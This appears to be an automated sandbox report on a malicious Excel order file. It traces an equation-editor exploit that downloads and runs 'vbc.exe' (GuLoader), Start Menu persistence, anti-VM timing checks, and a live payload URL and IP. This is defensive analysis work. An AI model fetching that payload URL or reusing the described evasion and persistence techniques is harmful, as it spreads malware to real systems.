Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 5_2_0040344A EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 5_2_0040344A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR8371.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLS@4/20@0/1
Source: C:\Users\Public\vbc.exe Code function: 5_2_00402104 CoCreateInstance, 5_2_00402104
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 5_2_00404771 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 5_2_00404771
Source: ACP-2210825ORDER.xls OLE indicator, Workbook stream: true
Source: ~DF688530565CAD41F4.TMP.0.dr OLE indicator, Workbook stream: true
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: ACP-2210825ORDER.xls Static file information: File size 1130496 > 1048576
Source: ACP-2210825ORDER.xls Initial sample: OLE indicators encrypted = True

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000005.00000002.1187007837.00000000030C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\Public\vbc.exe Code function: 5_2_10002DE0 push eax; ret 5_2_10002E0E
PE file contains sections with non-standard names
Source: libgiognutls.dll.5.dr Static PE information: section name: .xdata
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\vbc.exe Code function: 5_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 5_2_10001B18
Drops PE files
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Stempelpligtig93\Vatersotiges\Knoglemarvsundersgelsen\Armoniac\libgiognutls.dll Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\VBC[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\nsp5B93.tmp\System.dll Jump to dropped file
Contains functionality to download and launch executables
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035406CF URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_035406CF
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file

Boot Survival
barindex
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Stores files to the Windows start menu directory
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Stempelpligtig93 Jump to behavior
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Stempelpligtig93\Obeyeo.Bib Jump to behavior
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Stempelpligtig93\Vatersotiges Jump to behavior
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Stempelpligtig93\Vatersotiges\Knoglemarvsundersgelsen Jump to behavior
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Stempelpligtig93\Vatersotiges\Knoglemarvsundersgelsen\Armoniac Jump to behavior
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Stempelpligtig93\Vatersotiges\Knoglemarvsundersgelsen\Armoniac\libgiognutls.dll Jump to behavior
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Stempelpligtig93\Vatersotiges\Knoglemarvsundersgelsen\Armoniac\Urokkeligheden.Ord114 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 00000000030C53D8 second address: 00000000030C53D8 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F2BE4B89A38h 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 test al, 39h 0x0000000a rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1488 Thread sleep time: -240000s >= -30000s Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\Public\vbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Stempelpligtig93\Vatersotiges\Knoglemarvsundersgelsen\Armoniac\libgiognutls.dll Jump to dropped file
Source: C:\Users\Public\vbc.exe Code function: 5_2_00406555 FindFirstFileW,FindClose, 5_2_00406555
Source: C:\Users\Public\vbc.exe Code function: 5_2_00405A03 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 5_2_00405A03
Source: C:\Users\Public\vbc.exe Code function: 5_2_0040287E FindFirstFileW, 5_2_0040287E
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Users\Public\vbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\Public\vbc.exe API call chain: ExitProcess graph end node
Source: vbc.exe, 00000005.00000002.1184749045.00000000002E4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\vbc.exe Code function: 5_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 5_2_10001B18
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03540729 mov edx, dword ptr fs:[00000030h] 2_2_03540729
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 5_2_0040344A EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 5_2_0040344A
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 755822 Sample: ACP-2210825ORDER.xls Startdate: 29/11/2022 Architecture: WINDOWS Score: 100 29 Antivirus detection for URL or domain 2->29 31 Antivirus detection for dropped file 2->31 33 Antivirus / Scanner detection for submitted sample 2->33 35 9 other signatures 2->35 6 EQNEDT32.EXE 12 2->6         started        11 EXCEL.EXE 33 24 2->11         started        process3 dnsIp4 27 172.245.34.91, 49173, 80 AS-COLOCROSSINGUS United States 6->27 17 C:\Users\user\AppData\Local\...\VBC[1].exe, PE32 6->17 dropped 19 C:\Users\Public\vbc.exe, PE32 6->19 dropped 37 Office equation editor establishes network connection 6->37 39 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 6->39 13 vbc.exe 1 30 6->13         started        21 C:\Users\user\...\~DF688530565CAD41F4.TMP, Composite 11->21 dropped file5 signatures6 process7 file8 23 C:\Users\user\AppData\...\libgiognutls.dll, PE32+ 13->23 dropped 25 C:\Users\user\AppData\Local\...\System.dll, PE32 13->25 dropped 41 Tries to detect virtualization through RDTSC time measurements 13->41 signatures9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.245.34.91
 unknown United States
36352 AS-COLOCROSSINGUS true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://172.245.34.91/5643/VBC.exe true
  • Avira URL Cloud: malware
 unknown